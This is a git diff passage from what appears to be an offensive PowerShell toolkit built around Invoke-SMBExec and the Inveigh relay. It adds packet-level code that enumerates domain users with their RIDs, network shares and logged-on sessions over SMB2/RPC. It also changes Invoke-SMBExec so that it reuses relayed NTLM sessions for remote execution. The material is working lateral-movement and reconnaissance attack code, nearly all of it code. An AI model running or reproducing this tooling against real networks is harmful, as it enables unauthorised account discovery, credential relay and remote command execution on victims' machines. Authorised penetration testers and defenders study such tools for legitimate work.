[System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $SMB_client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user + Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name RID $response_RID + $response_user_length_start = $response_user_length_start + 12 + $response_RID_start = $response_RID_start + 12 + $response_user_list += $response_user_object + $i++ + } + + Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize + $SMB_client_stage = 'CloseRequest' + } + + 'NetShareEnumAll' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SRVSVC_data = New-PacketSRVSVCNetShareEnumAll $Target + $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $SRVSVC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $SRVSVC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SRVSVC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SRVSVC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage_next = 'ParseSRVSVC' + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'ParseSRVSVC' + { + $response_object_list = @() + [Byte[]]$response_count_bytes = $SMB_client_receive[152..155] + $response_count = [System.BitConverter]::ToInt32($response_count_bytes,0) + $response_item_index = 164 + $i = 0 + + while($i -lt $response_count) + { + + if($i -gt 0) + { + + if($response_item_length % 2) + { + $response_item_index += $response_item_length * 2 + 2 + } + else + { + $response_item_index += $response_item_length * 2 + } + + } + else + { + + if($action -eq 'Share') + { + $response_item_index += $response_count * 12 + } + else + { + $response_item_index += $response_count * 16 + } + + } + + $response_item_object = New-Object PSObject + [Byte[]]$response_item_length_bytes = $SMB_client_receive[$response_item_index..($response_item_index + 3)] + $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) + $response_item_index += 12 + [Byte[]]$response_item_bytes = $SMB_client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] + $response_item = [System.BitConverter]::ToString($response_item_bytes) + $response_item = $response_item -replace "-00","" + $response_item = $response_item.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_item = New-Object System.String ($response_item,0,$response_item.Length) + + if($response_item_length % 2) + { + $response_item_index += $response_item_length * 2 + 2 + } + else + { + $response_item_index += $response_item_length * 2 + } + + [Byte[]]$response_item_length_bytes = $SMB_client_receive[$response_item_index..($response_item_index + 3)] + $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) + $response_item_index += 12 + [Byte[]]$response_item_2_bytes = $SMB_client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] + $response_item_2 = [System.BitConverter]::ToString($response_item_2_bytes) + $response_item_2 = $response_item_2 -replace "-00","" + $response_item_2 = $response_item_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_item_2 = New-Object System.String ($response_item_2,0,$response_item_2.Length) + $response_object_list += $response_item_object + $i++ + + if($action -eq 'Share') + { + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Share $response_item + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Description $response_item_2 + } + else + { + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Username $response_item_2 + Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Source $response_item + } + + } + + Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize + $SMB_client_stage = 'CloseRequest' + } + + 'NetSessEnum' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SRVSVC_data = New-PacketSRVSVCNetSessEnum $Target + $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $SRVSVC_data.Length 1024 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $SRVSVC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SRVSVC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SRVSVC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage_next = 'ParseSRVSVC' + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + } + + 'CloseRequest' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SAMR_step -eq 2) + { + $SMB_client_stage = 'CreateRequest' + } + else + { + $SMB_client_stage = 'TreeDisconnect' + } + + } + + 'TreeDisconnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($inveigh_session -and !$Logoff) + { + $SMB_client_stage = 'Exit' + } + else + { + $SMB_client_stage = 'Logoff' + } + + } + + 'Logoff' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + + } + + if($inveigh_session -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $SMB2_message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$inveigh_session -or $Logoff) + { + $SMB_client.Close() + $SMB_client_stream.Close() + } + +} + +}
\ No newline at end of file diff --git a/Invoke-SMBExec.ps1 b/Invoke-SMBExec.ps1 index 1a2e3b5..eee1415 100644 --- a/Invoke-SMBExec.ps1 +++ b/Invoke-SMBExec.ps1 @@ -340,32 +340,7 @@ function New-PacketSMBLogoffAndXRequest } #SMB2 -<# -function New-PacketSMB2Header -{ - param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) - - [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 - - $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $packet_SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) - $packet_SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("Command",$packet_command) - $packet_SMB2Header.Add("CreditRequest",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("MessageID",$packet_message_ID) - $packet_SMB2Header.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("TreeID",$packet_tree_ID) - $packet_SMB2Header.Add("SessionID",$packet_session_ID) - $packet_SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - return $packet_SMB2Header -} -#> function New-PacketSMB2Header { param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) @@ -876,12 +851,15 @@ else $output_username = $Username } -[String]$session_string = $session +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} -if($session_string) +if($PSBoundParameters.ContainsKey('Session')) { - if(!$Inveigh -or !$inveigh.session_socket_table[$session]) + if(!$Inveigh) { Write-Output "[-] Inveigh Relay session not found" $startup_error = $true @@ -899,13 +877,13 @@ $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) [Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} -if(!$session_string) +if(!$inveigh_session) { $SMB_client = New-Object System.Net.Sockets.TCPClient $SMB_client.Client.ReceiveTimeout = 60000 } -if(!$startup_error -and !$session_string) +if(!$startup_error -and !$inveigh_session) { try @@ -923,7 +901,7 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table { $SMB_client_receive = New-Object System.Byte[] 1024 - if(!$session_string) + if(!$inveigh_session) { $SMB_client_stream = $SMB_client.GetStream() $SMB_client_stage = 'NegotiateSMB' @@ -1258,13 +1236,13 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table } - if($login_successful -or $session_string) + if($login_successful -or $inveigh_session) { - if($session_string) + if($inveigh_session) { - if($session_string -and $inveigh.session_lock_table[$session] -eq 'locked') + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') { Write-Output "[*] Pausing due to Inveigh Relay session lock" Start-Sleep -s 2 @@ -2713,7 +2691,7 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table $SMB_client_stream.Flush() $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - if($session_string -and !$Logoff) + if($inveigh_session -and !$Logoff) { $SMB_client_stage = 'Exit' } @@ -2769,14 +2747,14 @@ if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table } - if($session_string -and $Inveigh) + if($inveigh_session -and $Inveigh) { $inveigh.session_lock_table[$session] = 'open' $inveigh.session_message_ID_table[$session] = $SMB2_message_ID $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} } - if(!$session_string -or $Logoff) + if(!$inveigh_session -or $Logoff) { $SMB_client.Close() $SMB_client_stream.Close() |